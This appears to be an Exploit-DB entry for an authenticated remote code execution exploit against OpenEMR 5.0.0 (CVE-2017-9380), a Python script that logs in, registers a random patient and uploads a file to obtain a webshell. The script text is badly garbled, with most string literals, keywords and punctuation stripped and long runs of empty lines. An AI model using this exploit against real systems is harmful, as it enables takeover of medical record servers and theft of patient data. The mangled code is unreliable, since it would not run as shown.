标题: OpenEMR 5.0.0 - Remote Code Execution (Authenticated) EDB-ID: 49983 CVE: 2017-9380 类型: WEBAPPS 平台: PHP 发布日期: 2021-06-11 漏洞利用脚本: # Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)
# Date 10.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download
# Version: 5.0.0
# Tested on: Windows 10
# CVE: CVE-2017-9380
# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''
Description:
The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only
certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the
filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository
hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full
compromise of the web server and its data.
'''



 argparse
 requests
 string
 random



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
openemr_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD




session  requestsSession
auth_url    target_ip    target_port  openemr_path  
auth_chek_url    target_ip    target_port  openemr_path  
response  sessiongetauth_chek_url


header  
     target_ip
     
     
     
     
     
       target_ip
     
     auth_chek_url
     



body  
     
     
     username
     password
     





auth  sessionpostauth_urlheadersheader databody


letters_up  stringascii_uppercase
letters_down  stringascii_lowercase
first_name  joinrandomchoiceletters_up  joinrandomchoiceletters_down  i  
surname  joinrandomchoiceletters_up  joinrandomchoiceletters_down  i  


  first_name
  surname


url_reg    target_ip    target_port  openemr_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
       target_ip    target_port  openemr_path  
     

body  
     
     
     first_name
     
     surname
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     



x  sessionposturl_reg headersheader databodytext


  xxfindxfind
  


url_upload    target_ip    target_port  openemr_path      


header  
     
     
     
     
     
       target_ip
     
     url_upload
     



body  


x  sessionposturl_upload headersheaderdatabodytext


b  xxfind  
c  bbfind
webshellpath    target_ip    target_port  openemr_path    c
  webshellpath URL: https://www.exploit-db.com/exploits/49983